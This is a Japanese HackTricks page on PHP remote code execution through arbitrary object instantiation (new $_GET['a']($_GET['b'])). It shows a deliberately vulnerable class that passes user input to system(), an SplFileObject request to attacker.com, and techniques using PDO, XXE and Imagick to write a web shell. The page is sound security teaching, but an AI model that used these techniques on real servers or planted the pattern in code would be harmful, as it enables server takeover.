PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

これは基本的にhttps://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/の要約です。

はじめに

new $_GET["a"]($_GET["a"])のような任意のオブジェクトの作成は、リモートコード実行(RCE)につながる可能性があります。これについての詳細はwriteupに記載されています。このドキュメントでは、RCEを達成するためのさまざまな戦略について説明します。

カスタムクラスまたはオートローディングを介したRCE

syntax new $a($b)は、**$aがクラス名を表し、$b**がコンストラクタに渡される最初の引数を表すオブジェクトをインスタンス化するために使用されます。これらの変数は、GET/POSTなどのユーザー入力から取得される可能性があり、文字列または配列であるか、JSONから取得される可能性があり、その他のタイプであるかもしれません。

以下は考えられるコードスニペットです:

class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

このインスタンスでは、$aAppまたはApp2に設定し、$bをシステムコマンド(例:uname -a)に設定すると、そのコマンドが実行されます。

オートローディング関数は、直接アクセスできるクラスがない場合に悪用される可能性があります。これらの関数は、必要に応じてファイルからクラスを自動的にロードし、spl_autoload_registerまたは__autoloadを使用して定義されます。

spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

オートローディングの動作はPHPのバージョンによって異なり、異なるRCEの可能性を提供します。

組み込みクラスを利用したRCE

カスタムクラスやオートローダーがない場合組み込みのPHPクラスがRCEに十分である場合があります。これらのクラスの数は、PHPのバージョンや拡張機能によって100から200の範囲に及ぶことがあります。これらはget_declared_classes()を使用してリストアップすることができます。

興味のあるコンストラクタは、リフレクションAPIを使用して特定できます。以下の例とリンクhttps://3v4l.org/2JEGFに示されているように。

特定のメソッドを介したRCEには次のものが含まれます:

SSRF + Pharデシリアライゼーション

SplFileObjectクラスは、そのコンストラクタを介してSSRFを可能にし、任意のURLへの接続を許可します。

new SplFileObject('http://attacker.com/');

SSRFは、PHPの8.0より前のバージョンでPharプロトコルを使用して逆シリアル化攻撃につながる可能性があります。

PDOの悪用

PDOクラスのコンストラクタを利用すると、DSN文字列を介してデータベースへの接続が可能になり、ファイルの作成やその他の相互作用が可能になります。

new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

PHPのバージョン5.3.22および5.4.12までは、SoapClientおよびSimpleXMLElementのコンストラクタを介してXXE攻撃に対して脆弱でしたが、libxml2のバージョンに依存します。

Imagick拡張機能を介したRCE

プロジェクトの依存関係の分析において、Imagickが新しいオブジェクトをインスタンス化することでコマンドの実行に利用できることが発見されました。これは脆弱性を悪用する機会を提供します。

VIDパーサー

ファイルシステム内の任意の指定されたパスにコンテンツを書き込むVIDパーサー機能が特定されました。これにより、PHPシェルをWebアクセス可能なディレクトリに配置して、リモートコード実行(RCE)を達成することができます。

VIDパーサー + ファイルアップロード

PHPはアップロードされたファイルを一時的に/tmp/phpXXXXXXに保存することがわかっています。 ImagickのVIDパーサーは、mslプロトコルを利用してファイルパス内のワイルドカードを処理し、一時ファイルを選択した場所に転送することができます。この方法は、ファイルシステム内での任意のファイル書き込みを達成するための追加のアプローチを提供します。

PHPクラッシュ + ブルートフォース

元の解説に記載されている方法は、削除前にサーバーをクラッシュさせるファイルをアップロードすることです。一時ファイルの名前をブルートフォースすることで、Imagickが任意のPHPコードを実行できるようになります。ただし、このテクニックは、古いバージョンのImageMagickでのみ効果的であることがわかりました。

参考文献

ゼロからヒーローまでのAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

Last updated